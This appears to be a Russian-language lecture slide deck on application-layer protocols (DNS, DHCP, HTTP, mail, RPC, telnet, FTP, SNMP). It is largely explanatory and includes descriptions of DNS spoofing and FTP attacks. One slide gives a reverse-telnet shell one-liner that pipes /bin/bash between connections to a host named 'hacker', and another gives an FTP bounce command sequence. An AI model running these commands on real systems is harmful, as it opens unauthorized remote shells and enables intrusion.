Похожие презентации:
Протоколы прикладного уровня
1.
Протоколы прикладного уровня2. Application Layer
На уровне приложений реализованы протоколы разных служб и сервисов.Их количество очень велико, перечень всех протоколов и зарегистрированных за ними портов
- см. http://www.iana.org/assignments/service-names-port-numbers/service-names-port-numbers.xml или
локальную копию в составе OS на любом узле – файл services.
Примеры прикладных протоколов:
• DNS (Domain Name System) – протокол службы доменных имен, служит для получения
информации о доменах и адресах.
• DHCP (Dynamic Host Configuration Protocol) — протокол динамической конфигурации узла, служит
для автоматического получения узлами IP-адреса и других параметров, необходимых для работы в
сети.
• HTTP (Hyper Text Transfer Protocol) — протокол передачи гипертекста, используется при пересылке
Web-страниц.
• FTP (File Transfer Protocol) — это протокол передачи файлов.
• SMTP (Simple Mail Transfer Protocol) — протокол передачи сообщений электронной почты.
• POP (Post Office Protocol) — протокол доступа к почтовому ящику, используется почтовым
клиентом для получения сообщений электронной почты с сервера.
• IMAP (Internet Message Access Protocol) — протокол для работы с почтовыми ящиками,
находящимися на сервере.
3. DNS
DNS(система доменных имен) – это распределенная база данных, поддерживающаяиерархическую систему имен для идентификации узлов в сети Интернет. Служба DNS
предназначена для поиска IP-адреса по символьному имени узла.
База данных имеет структуру дерева, в которой каждый домен (узел дерева) имеет имя
и может содержать поддомены. Корень БД управляется центром InterNIC, поддержка и
администрирование доменов делегировано разным организациям.
Распределённая БД поддерживается с помощью
взаимодействующих по прикладному протоколу DNS.
иерархии
DNS-серверов,
Службе назначен порт 53. Используется транспорт UDP для стандартных клиентских
запросов (<512 байт) и TCP для передачи файлов зон между серверами.
4. Домен
(от англ. domain – область, территория) - по международномусоглашению каждой стране выделено некоторое кодовое обозначение
длиной 2-3 буквы, которое называется доменом первого уровня или
доменом этой страны. Так, например, если адрес сайта заканчивается
на .ru (.su) – значит, сайт находится в домене России, .fr – Франции, .jp –
Японии. Кроме того, существуют несколько доменов первого уровня,
связанных не с географией, а с направленностью сайта – например,
.com для коммерческих, .org для некоммерческих, .edu для
образовательных организаций. Домен первого уровня также называют
"зоной".
5. Домены верхнего уровня общего назначения
ДоменНазначение
.info
.biz
изначально домен для информационных ресурсов
для бизнес-структур
.cat
.com
.name
.net
.org
.aero
.coop
.museum
.pro
.int
.edu
.gov
.mil
.travel
.jobs
.mobi
использования каталанским языковым и культурным сообществом
для коммерческих организаций
для физических лиц
для организаций, имеющих отношение к функционированию Интернета
для некоммерческих организаций
для субъектов авиатранспортной индустрии
для кооперативов
для музеев
для сертифицированных профессионалов
International Organizations (международные организации)
для образовательных учреждений
правительственные учреждения
военные ведомства
для субъектов туристического бизнеса
для кадровых агентств
для продавцов и поставщиков мобильного контента и услуг, связанных с
мобильной связью
для сервисов, включающих в себя связь между телефонной сетью и Интернетом
.tel
6. DNS-запрос
DNS – распределенная система. База данных одного DNS-сервера несодержит записей всех доменных имен.
Если клиент запрашивает доменное имя, которого нет в базе DNS-сервера, то
поиск, в зависимости от настроек сервер может продолжится двумя
способами:
• рекурсивно (DNS-сервер опрашивает другие известные ему DNS-сервера и
возвращает требуемый адрес клиенту);
• итеративно (DNS-сервер отправляет клиенту адрес DNS-сервера, к
которому нужно обратиться за требуемым адресом).
7.
Пример атаки на IP - сеть:Атака на DNS
DNS-сервер
Хост А
DNS-запрос
Нарушитель извлекает из запроса ID и SourcePort
Ложный DNS - ответ:
от имени настоящего DNS - сервера,
но в качестве IP - адреса искомого узла
указывается IP - адрес нарушителя
Результат: хост А имеет неправильное соответствие
между именем компьютера и IP - адресом
8.
Пример атаки на IP - сеть:Атака на DNS
Хост А
Узел сети
Теперь путь пакета от хоста А до узла сети
будет лежать через хост нарушителя
9.
Протокол DNSSecМеханизм распределения открытых ключей
Целостность и аутентичность информации DNS
Аутентификация транзакции
10.
Обычный DNS-запросЗапрос
qname=main.sale.company.com
qtype=A
Ответ
main.sale.company.com
A
100.0.0.120
Владелец
sale.company.com
NS
ns.sale.company.com
Дополнительно
ns.sale.company.com
A
100.0.1.130
11.
Запрос DNSSecЗапрос
Ответ
qname=main.sale.company.com
qtype=A
Вопрос
main.sale.company.com
main.sale.company.com
main.sale.company.com
A
?
A
100.0.0.120
SIG [подпись]
Владелец
sale.company.com
sale.company.com
NS
SIG
Дополнительно
ns.sale.company.com
ns.sale.company.com
sale.company.com
main.sale.company.com
ns.sale.company.com
A
100.0.1.130
SIG [подпись]
KEY [ключ]
KEY [ключ]
KEY [ключ]
ns.sale.company.com
[подпись]
12. DHCP
Проблемы назначения IP-адресов вручную:• В больших сетях вручную назначать адреса сетевым устройствам
крайне долго.
• Даже если устройство постоянно не находится в сети, за ним
закреплен адрес, из-за чего уменьшается количество свободных
адресов.
• Рядовые пользователи не знакомы или плохо знакомы с сетевыми
параметрами, поэтому при самостоятельном назначении сетевых
адресов пользователями вручную часто могут возникать ситуации
неверной конфигурации сетевых устройств.
• При использовании случайных IP-адресов в больших сетях
обязательно будут возникать конфликты из-за использования
одинаковых адресов.
• При использовании переносных устройств в различных местах
каждый раз необходимо менять сетевые параметры.
Протокол DHCP позволяет назначать сетевые адреса и другие
параметры сетевым устройствам автоматически.
13. DHCP
Dynamic Host Configuration Protocol — протокол динамической настройки узла —сетевой протокол, позволяющий компьютерам автоматически получать IP-адрес и
другие параметры, необходимые для работы в сети TCP/IP.
Данный протокол работает по модели «клиент-сервер». Для автоматической
конфигурации компьютер-клиент на этапе конфигурации сетевого устройства
обращается к так называемому серверу DHCP, и получает от него нужные
параметры.
Сетевой администратор должен задать диапазон адресов, распределяемых
сервером среди компьютеров. Это позволяет избежать ручной настройки
компьютеров сети и уменьшает количество ошибок. Протокол DHCP используется
в большинстве сетей TCP/IP.
Стандарт протокола DHCP был принят в октябре 1993 года. Действующая версия
протокола (март 1997 года) описана в RFC 2131. Новая версия DHCP,
предназначенная для использования в среде IPv6, носит название DHCPv6 и
определена в RFC 3315 (июль 2003 года).
14. DHCP
Распределение IP-адресовDHCP
Протокол DHCP предоставляет три способа распределения IP-адресов:
Ручное распределение. При этом способе сетевой администратор сопоставляет
аппаратному адресу (для Ethernet сетей это MAC-адрес) каждого клиентского
компьютера определённый IP-адрес. Фактически, данный способ распределения
адресов отличается от ручной настройки каждого компьютера лишь тем, что
сведения об адресах хранятся централизованно (на сервере DHCP), и потому их
проще изменять при необходимости.
Автоматическое распределение. При данном способе каждому компьютеру на
постоянное использование выделяется произвольный свободный IP-адрес из
определённого администратором диапазона.
Динамическое распределение. Этот способ аналогичен автоматическому
распределению, за исключением того, что адрес выдаётся компьютеру не на
постоянное пользование, а на определённый срок. Это называется арендой
адреса. По истечении срока аренды IP-адрес вновь считается свободным, и
клиент обязан запросить новый (он, впрочем, может оказаться тем же самым).
Кроме того, клиент сам может отказаться от полученного адреса.
15. DHCP
ОпцииПомимо IP-адреса, DHCP также может сообщать клиенту дополнительные
параметры, необходимые для нормальной работы в сети. Эти параметры
называются опциями DHCP. Список стандартных опций можно найти в RFC 2132
Некоторыми из наиболее часто используемых опций являются:
IP-адрес маршрутизатора по умолчанию;
маска подсети;
адреса серверов DNS;
имя домена DNS.
16. DHCP
Устройство протоколаПротокол DHCP является клиент-серверным, то есть в его работе участвуют
клиент DHCP и сервер DHCP. Передача данных производится при помощи
протокола UDP, при этом сервер принимает сообщения от клиентов на порт 67 и
отправляет сообщения клиентам на порт 68.
Все сообщения протокола DHCP разбиваются на поля, каждое из которых
содержит определённую информацию. Все поля, кроме последнего (поля опций
DHCP), имеют фиксированную длину.
17. DHCP
Процесс получения адресаDHCP
Сначала клиент выполняет широковещательный запрос по всей физической сети с
целью обнаружить доступные DHCP-серверы. Он отправляет сообщение типа
DHCPDISCOVER, при этом в качестве IP-адреса источника указывается 0.0.0.0
(так как компьютер ещё не имеет собственного IP-адреса), а в качестве адреса
назначения — широковещательный адрес 255.255.255.255.
СЕРВЕР DHCP
Клиент
DHCPDISCOVER
Клиент заполняет несколько полей сообщения начальными значениями:
В поле xid помещается уникальный идентификатор транзакции, который позволяет
отличать данный процесс получения IP-адреса от других, протекающих в то же
время.
В поле chaddr помещается аппаратный адрес (MAC-адрес) клиента.
В поле опций указывается последний известный клиенту IP-адрес. В данном
примере это 192.168.1.100. Это необязательно и может быть проигнорировано
сервером.
18. DHCP
Предложение DHCPПолучив сообщение от клиента, сервер определяет требуемую конфигурацию
клиента в соответствии с указанными сетевым администратором настройками.
Сервер отправляет ему ответ (DHCPOFFER), в котором предлагает конфигурацию.
Предлагаемый клиенту IP-адрес указывается в поле yiaddr. Прочие параметры
(такие, как адреса маршрутизаторов и DNS-серверов) указываются в виде опций в
соответствующем поле.
Клиент
DHCPOFFER
СЕРВЕР DHCP
DHCP-сервер отправляет хосту, пославшему DHCPDISCOVER, на его MAC, при
определенных обстоятельствах сообщение может распространяться как
широковещательная рассылка. Клиент может получить несколько различных
предложений DHCP от разных серверов; из них он должен выбрать то, которое его
«устраивает».
19. DHCP
Запрос DHCPDHCP
Выбрав одну из конфигураций, предложенных DHCP-серверами, клиент
отправляет запрос DHCP (DHCPREQUEST). Он рассылается широковещательно;
при этом к опциям, указанным клиентом в сообщении DHCPDISCOVER,
добавляется специальная опция — идентификатор сервера — указывающая адрес
DHCP-сервера, выбранного клиентом (например — 192.168.1.1).
Клиент
DHCPREQUEST
СЕРВЕР DHCP
Подтверждение DHCP
Наконец, сервер подтверждает запрос и направляет это подтверждение
(DHCPACK) клиенту. После этого клиент должен настроить свой сетевой
интерфейс, используя предоставленные опции.
Клиент
DHCPACK
СЕРВЕР DHCP
20. DHCP
• По прошествии 50% времени аренды сетевогоадреса DHCP-клиент посылает DHCP-серверу запрос
на продление аренды.
• Если подтверждение на продление аренды адреса от
сервера, выдавшего адрес, не получено по
истечении
87,5%
времени
аренды,
клиент
инициирует поиск любого DHCP-сервера.
21. DHCP
Прочие DHCP сообщенияОтказ DHCP Если после получения подтверждения (DHCPACK) от сервера клиент
обнаруживает, что указанный сервером адрес уже используется в сети, он рассылает
широковещательное сообщение отказа DHCP (DHCPDECLINE), после чего процедура
получения IP-адреса повторяется. Использование IP-адреса другим клиентом можно
обнаружить, выполнив запрос ARP.
Отмена DHCP Если по каким-то причинам сервер не может предоставить клиенту
запрошенный IP-адрес, или если аренда адреса удаляется администратором, сервер
рассылает широковещательное сообщение отмены DHCP (DHCPNACK). При получении такого
сообщения соответствующий клиент должен повторить процедуру получения адреса.
Освобождение DHCP Клиент может явным образом прекратить аренду IP-адреса. Для этого
он отправляет сообщение освобождения DHCP (DHCPRELEASE) тому серверу, который
предоставил ему адрес в аренду. В отличие от других сообщений DHCP, DHCPRELEASE не
рассылается широковещательно.
Информация DHCP Сообщение информации DHCP (DHCPINFORM) предназначено для
определения дополнительных параметров TCP/IP (например, адреса маршрутизатора по
умолчанию, DNS-серверов и т. п.) теми клиентами, которым не нужен динамический IP-адрес
(то есть адрес которых настроен вручную). Серверы отвечают на такой запрос сообщением
подтверждения (DHCPACK) без выделения IP-адреса.
22. HTTP
HyperText Transfer Protocol «протокол передачи гипертекста»протокол прикладного уровня передачи данных в первую
очередь в виде текстовых сообщений. Основой HTTP является
технология
«клиент-сервер»,
то
есть
предполагается
существование потребителей (клиентов), которые инициируют
соединение и посылают запрос, и поставщиков (серверов),
которые ожидают соединения для получения запроса,
производят необходимые действия и возвращают обратно
сообщение с результатом.
HTTP в настоящее время повсеместно используется во
Всемирной паутине для получения информации с веб-сайтов.
23. Гиперсреда
• технология представления информации в видеотносительно небольших блоков, ассоциативно
связанных друг с другом
24. Гипертекст
• любой текст, в котором обнаруживаются какие-либоссылки на другие фрагменты. Гипертекстовая
система это - информационная система, способная
хранить информацию в виде электронного текста,
позволяющая устанавливать электронные связи
между любыми "информационными единицами",
хранящимися в ее памяти и вызывать их на экран
монитора “простым нажатием кнопки”.
25. HTTP
26. Клиент-сервер
• (англ. Client-server) — сетевая архитектура, в которойустройства являются либо клиентами, либо
серверами.
Клиентом
(front
end)
является
запрашивающая машина (обычно ПК), сервером
(back end) — машина, которая отвечает на запрос.
Оба термина (клиент и сервер) могут применяться
как к физическим устройствам, так и к программному
обеспечению.
27. Веб-сервер
• Cервер,обеспечивающий
предоставление
информации в службе глобального соединения. Вебсервер хранит и предоставляет во внешнюю сеть
данные, организованные в виде веб-страниц. Вебсервер отвечает за обработку запросов клиентов к
веб-сайту и исполнение CGI, JSP, ASP, PHP и других
приложений.
28. Веб-страница
• это логическая единица интернета, однозначно определяемаяадресом. Можно сказать, что веб состоит из сайтов, а сайты, в
свою очередь - из страниц. Веб-страницы пишутся на языке
HTML. Вообще говоря, веб-страница может состоять из
нескольких частей (фреймов), каждый из которых является
отдельной страницей со своим собственным адресом. Также
веб-страница может включать картинки, скрипты и пр.
29. URL
• (от англ. Universal Resource Locator, как правило, произносится"урл") – это адрес страницы в интернете. URL состоит из
доменного имени, пути к странице на сайте и имени файла
страницы.
• Например: www.rossia.ru/moskva/arbat/domknigi.htm
• www.rossia.ru
– доменное имя сайта,
• /moskva/arbat/
– путь
• domknigi.htm
– имя файла.
30. URI
• (англ. Uniform Resource Identifier) — единообразныйидентификатор
ресурса.
На
английский
манер
произносится как [ю-ар-а́й], по-русски чаще говорят [ури́].
URI — это короткая последовательность символов,
идентифицирующая абстрактный или физический ресурс.
31.
32.
33. URI
http://example.com
http://www.example.com/site/map.html
http://example.com:81/script.php
http://example.org/script.php?key=value
ftp://user:pass@ftp.example.org
http://192.168.0.1/example/www
file:///srv/www/htdocs/index.html
gopher://example.com/1
mailto://user@example.org
#запрос стартовой страницы по умолчанию
#запрос страницы в указанном каталоге
#подключение на нестандартный порт
#передача параметров скрипту
#авторизация на ftp-сервере
#подключение по ip-адресу
#открытие локального файла
#подключение к серверу gopher
#ссылка на адрес эл.почты
34.
Сеанс взаимодействия с сервером HTTP в наиболее общем виде состоитиз следующих шагов:
• Установление TCP-соединения;
• Запрос клиента;
• Ответ сервера;
• Разрыв TCP-соединения.
Запрос клиента представляет собой просто требование на передачу
HTML-документа или какого-либо другого ресурса.
Ответ сервера – код запрашиваемого ресурса.
35. Запрос клиента
• Строка состояния;• Поля заголовка;
• Пустая строка;
• Тело запроса.
Тело запроса в большинстве случаев отсутствует. Наиболее
часто тело запроса используется в тех случаях, когда
требуется передать серверу информацию, введенную
пользователем.
36.
Строка состояния имеет следующий формат:<метод запроса><URL ресурса>
<версия протокола HTTP>
Метод запроса определяет вид воздействия на ресурс,
указанный с помощью URL. Наиболее важны два
метода: GET и POST.
Версия протокола обычно задается в следующем
формате:
HTTP/<версия>
37. Ответ сервера
С точки зрения Web-рограммирования, структура ответа сервера
гораздо более важна, чем структура запроса клиента.
Выполняющиеся на сервере программы должны быть способны
сами сформировать ответ клиенту.
Основные компоненты ответа включают в себя следующие
элементы:
Строку состояния;
Поля заголовка;
Пустую строку;
Тело ответа.
38. Строка состояния
Строка состояния имеет следующий формат:<версия протокола> <код ответа> <пояснения>
Версия протокола задается в том формате, что и в запросе клиента;
Код ответа представляет собой трехзначное десятичное число,
обозначающее результат обработки запроса клиента сервером;
Пояснения представляют собой расшифровку кода ответа в
символьном
виде.
Это
просто
строка
символов,
не
обрабатываемая клиентом и предназначенная для системного
администратора.
В теле ответа содержится код передаваемого клиенту ресурса. Это
может быть HTML-документ или любой другой ресурс. Способ
обработки ресурса указывается в поле заголовка Content – type.
39. ОСОБЕННОСТИ И НАЗНАЧЕНИЕ HTTPS-ПРОТОКОЛА ПЕРЕДАЧИ ДАННЫХ
1992 HTTP (HyperText Transfer Protocol)Протокол HTTP может
использоваться также
в качестве
«транспорта» для
других протоколов
прикладного уровня,
таких как SOAP, XMLRPC, WebDAV
HTTP позволяет в запросе и ответе указать альтернативные способы представления в браузере
пользователя одного и того же веб-ресурса (хранящегося на сервере файла) по различным параметрам:
формату, кодировке, языку и т. д.
2000 HTTPS (HyperText Transfer Protocol Secure)
Протокол HTTPS
поддерживает
шифрование данных
посредством их
передачи поверх
криптографических
протоколов SSL или TLS
SSL /
40. КРИПТОГРАФИЧЕСКИЕ ПРОТОКОЛЫ SSL и TLS
SSLНеприхотлив
Утечка данных
(с 2014 г.)
TLS
1994 - 2007
Безопасен
Ресурсоёмок
Недоразвит…
Асимметричная криптография для
аутентификации ключей обмена
Симметричное шифрование для
сохранения конфиденциальности
Коды аутентификации сообщений для
проверки их целостности
41. ВАРИАНТЫ SSL-СЕРТИФИКАТОВ
САМОПОДПИСАННЫЙSSL-СЕРТИФИКАТ
• В локальных сетях
используется для
доступа к
роутерам, NAS и
т.п.
• Для совершения
финансовых и
юридических
действий
неприменим
https://www.reg.ru
42.
43. Аутентификация сервера с использованием SSL сертификатов
Сертификатаминазываются
подписанные
удостоверяющими
центрами сертификации открытые
ключи.
Подпись
центра
сертификации гарантирует, что
сторона, обладающая секретным
ключом,
является
стороной,
идентифицированной
данным
открытым ключом.
Для аутентификации клиента перед
сервером клиент должен обладать
секретным
ключом
и
соответствующим сертификатом, а
сервер
должен
обладать
соответствующим
подписывающим
сертификатом
или копией сертификата клиента.
44. Инициатива Google-2017: стимулирование сайтов на переход в HTTPS-режим с SSL сертификатами
С января 2017 года Google ввёл вдействие новые правила поисковой
выдачи и репутационной маркировки:
все сайты без SSL сертификатов
теперь будут помечаться как
небезопасные.
Поисковые системы умышленно
понижают сайты c HTTP-режимом
обмена данных в ранжировании.
45. E-mail: протокол SMTP
Протокол SMTP (или его расширенная версия Extended SMTP) предназначен дляотправки почты от пользователей к серверам и между серверами для дальнейшей
пересылки к получателю. Для работы с почтовым ящиком (приёма почты получателем),
почтовый клиент должен использовать протоколы POP3 или IMAP.
Чтобы доставить сообщение до адресата, необходимо переслать его почтовому
серверу домена, в котором находится адресат. Для выяснения адреса сервераполучателя делается запрос к DNS, откуда обычно извлекается запись типа MX (она
содержит соответствие почтовый домен –> сервер). На основании этих данных
устанавливается smtp-соединение с удаленным сервером и передается письмо.
Службе SMTP назначен порт 25 (или 465 для шифрованных ssl-соединений).
Используется транспорт tcp.
Изначально протокол SMTP был разработан для передачи только текста в
кодировке ASCII. Для снятия этого ограничения был разработан стандарт MIME
(Multipurpose Internet Mail Extensions), который определяет дополнения в формате
почтовых сообщений для:
-пересылки 8-bit текстов и двоичных данных;
-возможности использования 8-bit символов в заголовках сообщения;
-поддержки сложных сообщений (с аттачментами).
46. Электронное письмо состоит из следующих частей:
Заголовков SMTP-протокола, полученныхсервером. Эти заголовки могут включаться, а
могут и не включаться в тело письма в
дальнейшем.
Самого письма (в терминологии протокола
SMTP — 'DATA'), которое, в свою очередь,
состоит из следующих частей, разделённых
пустой строкой:
Заголовков письма, иногда называемых по
аналогии с бумажной почтой конвертом
Тело письма. В теле письма находится,
собственно, текст письма.
47. Тело письма SMTP
Согласно стандарту, в теле письма могутнаходиться только символы ASCII. Поэтому
при
использовании
национальных
кодировок
или
различных
форм
представления информации (HTML, RTF,
бинарные файлы) текст письма должен
кодироваться по стандарту MIME и не
может быть прочитан человеком без
использования декодера или почтового
клиента с таким декодером.
48. MIME (Multipurpose Internet Mail Extension)
MIME (Multipurpose Internet MailExtension)
• MIME — многоцелевые расширения почты
интернета, произносится как «майм»
• С помощью протокола пользователи могут
посылать по Internet не только простые
текстовые сообщения, но и более сложные типы
данных, такие, как графические файлы и
документы Word. Другими словами, MIME
выводит функциональность систем электронной
почты за рамки простого обмена сообщениями:
благодаря MIME ваша почтовая инфраструктура
может служить в качестве системы доставки
файлов.
49. E-mail: протоколы POP3 и IMAP
POP3 – Post Office Protocol, v.3Концепция почтового хранилища – почта на сервере хранится временно и в
ограниченном объеме. Пользователь периодически обращается к серверу и забирает
письма на свой локальный компьютер, а оригиналы на сервере удаляются.
В сессии POP3 клиент проходит авторизацию, получает информацию о состоянии почтового ящика, принимает и
отмечает прочитанную почту, которая, как правило, будет удалена с сервера после завершения сеанса.
IMAP - Internet Message Access Protocol
Концепция почтового терминала - вся корреспонденция, связанная с почтовым
ящиком (включая копии отправленных писем), хранится на сервере, а пользователь
обращается к ящику для просмотра почты (как новой, так и архива) и создания новых
писем. На этом же принципе построено и большинство веб-интерфейсов бесплатных
почтовых служб.
Различия POP3 и IMAP
• IMAP предоставляет более гибкую систему для работы с ящиком.
• IMAP имеет более надежные средства авторизации и защиты.
• IMAP менее требователен к пропускной способности канала - POP3 передает тела всех писем
целиком, тогда как IMAP - только заголовки писем, а остальное - по запросу.
• Однако, IMAP более требователен к ресурсам и производительности сервера, т.к. вся нагрузка
по обработке почты (например, поиск) ложится на сервер, а POP3 только передает почту
клиенту.
50. E-mail: Шифрование почты
В настоящее время для шифрования широко применяются два стандарта:• S/MIME (использующий инфраструктуру открытых ключей)
• Open PGP (использующий сертификаты)
Стандарты S/MIME и Open PGP позволяют обеспечить три вида защиты:
• защиту от изменения;
• неотзываемую подпись;
• конфиденциальность (шифрование).
• Дополнительно, S/MIME v.3 позволяет использовать защищённое квитирование
(при котором квитанция о получении письма может быть сгенерирована успешно
только в том случае, когда письмо дошло до получателя в неизменном виде).
Оба стандарта используют симметричные криптоалгоритмы для шифрования тела
письма, а симметричный ключ шифруют с использованием открытого ключа получателя.
Если письмо адресуется группе лиц, то симметричный ключ шифруется по очереди
каждым из открытых ключей получателей (и иногда, для удобства, открытым ключом
отправителя, чтобы он имел возможность прочитать отправленное им письмо).
51.
Application LayerArchitecture of Electronic Mail
Server 3
smtp
DNS
Server
Mail Server 2
:25
MTA
dns
smtp
Mail Client
:25/465
MTA
smtp
pop3
MDA 1 (smtp)
Queue
:110/995
Mail Client
imaps
:993
IMAPS
POP3
MDA 2 (local)
imap
Mail Client
MTA: Mail Transfer Agent
:143/993
sendmail, postfix, qmail, exim…
IMAP
MDA: Mail Delivery Agent
http
Mail Client
:80/443
WEB
local, procmail,cyrus-imap…
Mailboxes
Mail Server 1
MUA: Mail User Agent
Outlook, TheBat!, pine, elm…
Comparison of mail servers: http://en.wikipedia.org/wiki/Comparison_of_mail_servers
© M.Stepanova, 2006
52.
Удалённый вызов процедурУдаленный вызов процедур (от англ. Remote Procedure Call, RPC) —
технология, позволяющая компьютерным программам вызывать
функции или процедуры в другом адресном пространстве.
7
6
5
4
3
2
1
Уровень
приложения
Уровень
представления
Уровень
соединения
Транспортный
уровень
Сетевой
уровень
Канальный
уровень
Физический
уровень
RPC
TCP, UDP
IP
Ethernet, FDDI, X.25
и другие
53.
54. Процедуры выглядят локальными
Для самого приложения RPC все процедуры выглядятлокальными, таким образом:
нет необходимости заставлять программиста писать
код для передачи запроса на вычисления,
ввод-вывод по сети,
работы с сетевыми протоколами,
обработки сетевых ошибок,
ожидания результатов и т.п. –
программное обеспечение RPC выполняет эти
задачи автоматически и для любых доступных
сетевых протоколов.
55.
Дляобеспечения
взаимодействия
средства RPC с приложениями RPC на
другой ЭВМ они должны использовать
одинаковые соглашения RPC.
Microsoft RPC соответствует стандарту
RPC, установленному Open Software
Foundation (OSF) в спецификации
среды распределенных вычислений
(DCE, Distribute Calculation Environment).
Таким
образом,
написанные
с
использованием Microsoft RPC приложения
могут вызывать удаленные процедуры на
других системах, использующих стандарт
DCE.
56.
Спецификация RPC-сервераПротокол RPC
Сервер RPC
Клиент
• Номер программы
• Номер процедуры
• Номер версии
57.
Спецификация RPC-сервераСервер RPC
Запрос клиента
Клиент
Номер порта
• Номер программы
• Номер процедуры
• Номер версии
58.
RPC-сканированиеСервер RPC
Номер процедуры
Номер порта
Клиент
Примеры утилит для RPC-сканирования
• RPCScan (Linux)
• rpcdump (Windows)
59. Протокол telnet
• Протокол telnet обеспечивает передачу потокабайтов между процессами, а также между
процессом и терминалом. Наиболее часто этот
протокол используется для эмуляции терминала
удаленного компьютера.
• При использовании сервиса telnet пользователь
фактически управляет удаленным компьютером
так же, как и локальный пользователь, поэтому
такой вид доступа требует хорошей защиты.
• Поэтому серверы telnet всегда используют как
минимум аутентификацию по паролю, а иногда
и более мощные средства защиты.
60.
Протокол удалённого терминала - TELNETПротокол обмена
TCP-соединение
Клиент
(утилита telnet)
Сервер
(telnetd)
TELNET предлагает три услуги:
1. Определяет сетевой виртуальный терминал (NVT - network virtual
terminal), который обеспечивает стандартный интерфейс к удаленной
системе.
2. Включает механизм, который позволяет клиенту и серверу
согласовать опции обмена
3. Обеспечивает симметрию соединения, допуская любой программе
выступать в качестве клиента
61.
Взаимодействие«терминал-удалённый процесс»
TELNET позволяет пользователю установить TCP-соединение с
сервером и затем передавать коды нажатия клавиш так, как если бы
работа проводилась на консоли сервера.
Терминал – Серверный процесс
a
a
a
$a
62.
Команды протокола TELNET1 байт
1 байт
1 байт
Управляющий символ IAC
Команда
Параметры
Interpret as
Command,
равен 255
Например,
клавиша
Backspace,
247
63.
Команды протокола TELNETНазвание команды
Код
Описание команды
IP (Interrupt Process)
244
Остановка вывода
на дисплей
AO (Abort Output)
245
Прерывание процесса
пользователя
AYT (Are You There)
246
Проверка состояния системы
EC (Erase Character)
247
Удаление последнего
введённого символа
EL (Erase Line)
248
Удаление текущей строки
64.
Передача команд$a
Backspace
IAC EC
$
65.
«Обращённый» TELNETЭто управление узлом через соединение, инициируемое с него самого
66.
«Обращённый» TELNETКоманды
Результаты
/bin/bash
80
25
> telnet hacker 80 | /bin/bash | telnet hacker 25
67. FTP
FileTransfer
Protocol
–
протокол передачи
файлов,
сервис доступа к файлам в в
компьютерных сетях.
Универсальное средство, чтобы
открыть
доступ
к
файлам
накопителя
клиентам
из
Интернета.
Данные
могут
передаваться в режиме SSL/TLS.
Поддерживается
настройка
диапазона портов для пассивного
режима
FTP,
предусмотрен
режим доступа к FTP «только для
записи»
68. Отличие FTP от HTTP
ОТЛИЧИЕ FTP ОТ HTTPСвойство
FTP
HTTP
Основан на сессиях работы
Да
Нет
Встроена аутентификация пользователей
Да
Нет
В основном предусмотрен для передачи
Больших двоичных файлов
Небольших текстовых файлов
Двойное подключение
Одиночное подключение
В основном приспособлен для приёма/передачи
Приёма и передачи
Приёма
Поддерживает текстовый и двоичный режимы
передачи
Да
Нет
Поддерживает указание типов передаваемых
данных (MIME заголовки)
Нет
Да
Поддерживает операции над файловой системой
(mkdir, rm, rename, и т. д.)
Да
Нет
Модель соединения
69.
Реализация службы FTPИнтерфейс
пользователя
Сервер
Клиент
Модуль
управления
передачей
Команды
Модуль
передачи
данных
Данные
Ответы
Модуль
управления
передачей
Модуль
передачи
данных
70. Архитектура FTP
АРХИТЕКТ УРА FTP71. Активный режим работы FTP
АКТИВНЫЙ РЕЖИМ РАБОТЫ FTP72. ПАССИВНЫЙ режим работы FTP
ПАССИВНЫЙ РЕЖИМ РАБОТЫ FTP73.
Пассивный вариант работы FTPкоманда PASV
Ответ с параметрами
(номер порта для подключения)
Сервер (ftpd)
Клиент
Открытие соединения
на указанный порт
74.
Атака на FTP. Предсказуемый номер портакоманда PASV
Ответ с параметрами
(номер порта для подключения)
Сервер (ftpd)
Клиент
Открытие соединения
на указанный порт
Подключение раньше клиента
75.
Атака на FTP. Большое количество портовкоманда PASV
Ответ с параметрами
(номер порта для подключения)
команда PASV
Ответ с параметрами
(номер порта для подключения)
команда PASV
Ответ с параметрами
(номер порта для подключения)
Сервер (ftpd)
76.
Атака на FTP. Большое количество данныхСервер (ftpd)
Сервер (ftpd)
Передача большого
количества данных
Управляющее соединение
77.
Атаки на сетевые службы при помощи FTPПочтовый сервер
Сервер FTP
Подключение с FTP-сервера
25
PORT 20,1,1,1,0,25
RETR <bad file>
20.1.1.1
78. TFTP (Trivial File Transfer Protocol)
TFTP (TRIVIAL FILE TRANSFERPROTOCOL)
• Приложения, которым не требуются все возможности FTP,
могу т использовать другой, более экономичный протокол простейший протокол пересылки файлов TFTP (Trivial File
Transfer Protocol). Этот протокол реализует только
передачу файлов, причем в качестве транспорта
используется более простой, чем TCP, протокол без
установления соединения - UDP.
79. TFTP. Примеры передачи файлов
TFTP. ПРИМЕРЫ ПЕРЕДАЧИ ФАЙЛОВTFTP поддерживает 5 видов пакетов:
• RRQ: запрос на чтение;
• WRQ: запрос на запись;
• DATA: передача данных;
• ACK: подтверждение получения;
• ERROR: ошибка;
80.
Управление сетью - целенаправленное воздействие на сеть,осуществляемое для организации ее функционирования по
заданной программе:
• включение
и
отключение
системы, каналов передачи
данных, терминалов;
• диагностика неисправностей;
• сбор статистики;
• подготовка отчетов и т.п.
81. Система управления сетью
82. SNMP
SNMP является протоколом прикладного уровня типа «запрос-ответ»,предназначенным для облегчения обмена информацией управления
между сетевыми устройствами.
Протокол SNMP используется для получения от сетевых устройств
информации об их статусе, производительности и других
характеристиках, которые хранятся в базе данных управляющей
информации MIB (Management Information Base).
Простота SNMP во многом определяется простотой MIB SNMP.
Пользуясь информацией SNMP, сетевые администраторы могут более
просто управлять производительностью сети и обнаруживать и решать
сетевые проблемы.
83. Архитектура SNMP
• Сетевая станция управленияNMS
удаленно
управляет
устройствами, получает данные,
собранные
мастер-агентами,
отслеживает
производительность
и
представляет
полученную
информацию в графическом
виде.
• Агент
–
программа,
поставляемая вендором вместе с
сетевым устройством.
• Управляемый
компонент
подключенное к сети устройство
(маршрутизаторы, коммутаторы,
серверы, IP-видеокамеры, МФУ,
IP-телефоны и т.д.).
84. Проблема управления в протоколе SNMP разделяется на две задачи.
Первая задача связана с передачей информации.Протоколы передачи управляющей информации определяют
процедуру
взаимодействия
SNMP-агента,
работающего
в
управляемом оборудовании, и SNMP-монитора, работающего на
компьютере администратора, который часто называют также
консолью управления. Протоколы передачи определяют форматы
сообщений, которыми обмениваются агенты и монитор.
Вторая
задача
связана
с
контролируемыми
переменными, характеризующими состояние управляемого
устройства. Стандарты регламентируют, какие данные должны
сохраняться и накапливаться в устройствах, имена этих данных и
синтаксис этих имен. В стандарте SNMP определена спецификация
информационной базы данных управления сетью. Эта спецификация,
известная как база данных MIB (Management Information Base),
